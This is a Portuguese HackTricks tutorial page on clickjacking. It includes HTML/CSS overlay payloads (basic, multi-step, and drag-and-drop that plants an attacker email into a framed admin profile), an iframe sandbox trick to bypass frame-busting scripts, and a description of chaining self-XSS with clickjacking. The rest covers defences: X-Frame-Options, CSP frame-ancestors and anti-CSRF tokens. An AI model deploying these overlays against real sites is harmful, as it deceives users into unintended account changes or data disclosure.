12 KiB
Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
O que é Clickjacking
Em um ataque de clickjacking, um usuário é enganado a clicar em um elemento em uma página da web que é invisível ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.
Truque de pré-preenchimento de formulários
Às vezes, é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
Preencher formulário com Arrastar&Soltar
Se você precisa que o usuário preencha um formulário, mas não quer pedir diretamente que ele escreva algumas informações específicas (como o e-mail e ou senha específica que você conhece), você pode apenas pedir que ele Arraste&Solte algo que escreverá seus dados controlados, como neste exemplo.
Carga Básica
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload de Múltiplas Etapas
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Se você identificou um ataque XSS que requer que um usuário clique em algum elemento para ativar o XSS e a página é vulnerável a clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
&#xNAN;You encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável a Clickjacking e você pode preencher o formulário com os parâmetros GET.
__Um atacante poderia preparar um ataque Clickjacking para essa página preenchendo o formulário com a carga útil XSS e enganando o usuário a enviar o formulário. Assim, quando o formulário é enviado e os valores são modificados, o usuário executará o XSS.
Estratégias para Mitigar Clickjacking
Defesas do Lado do Cliente
Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:
- Garantir que a janela da aplicação seja a principal ou a janela superior.
- Tornar todos os frames visíveis.
- Prevenir cliques em frames invisíveis.
- Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
No entanto, esses scripts de quebra de frame podem ser contornados:
- Configurações de Segurança dos Navegadores: Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte a JavaScript.
- Atributo
sandbox
do iframe HTML5: Um atacante pode neutralizar scripts de quebra de frame definindo o atributosandbox
com valoresallow-forms
ouallow-scripts
semallow-top-navigation
. Isso impede que o iframe verifique se é a janela superior, e.g.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Os valores allow-forms
e allow-scripts
permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin
e allow-modals
podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem guiar quais permissões permitir.
Defesas do Lado do Servidor
X-Frame-Options
O cabeçalho de resposta HTTP X-Frame-Options
informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame>
ou <iframe>
, ajudando a prevenir Clickjacking:
X-Frame-Options: deny
- Nenhum domínio pode emoldurar o conteúdo.X-Frame-Options: sameorigin
- Somente o site atual pode emoldurar o conteúdo.X-Frame-Options: allow-from https://trusted.com
- Somente o 'uri' especificado pode emoldurar a página.- Note as limitações: se o navegador não suportar esta diretiva, pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
Diretiva frame-ancestors da Content Security Policy (CSP)
A diretiva frame-ancestors
na CSP é o método recomendado para proteção contra Clickjacking:
frame-ancestors 'none'
- Semelhante aX-Frame-Options: deny
.frame-ancestors 'self'
- Semelhante aX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Semelhante aX-Frame-Options: allow-from
.
Por exemplo, a seguinte CSP permite apenas emolduramento do mesmo domínio:
Content-Security-Policy: frame-ancestors 'self';
Mais detalhes e exemplos complexos podem ser encontrados na documentação frame-ancestors CSP e na documentação frame-ancestors da Mozilla.
Content Security Policy (CSP) com child-src
e frame-src
A Content Security Policy (CSP) é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir para carregar conteúdo.
Diretiva frame-src
- Define fontes válidas para frames.
- Mais específica do que a diretiva
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
Diretriz child-src
- Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
- Funciona como um fallback para frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
Notas de Uso:
- Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src.
- Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como um fallback para frames. Se ambos estiverem ausentes, default-src é usado.
- Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração.
Scripts de Quebra de Frame em JavaScript
Embora não sejam completamente infalíveis, scripts de quebra de frame baseados em JavaScript podem ser usados para evitar que uma página da web seja emoldurada. Exemplo:
if (top !== self) {
top.location = self.location;
}
Empregando Tokens Anti-CSRF
- Validação de Token: Use tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.
Referências
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Use Trickest para construir e automatizar fluxos de trabalho facilmente, impulsionados pelas ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.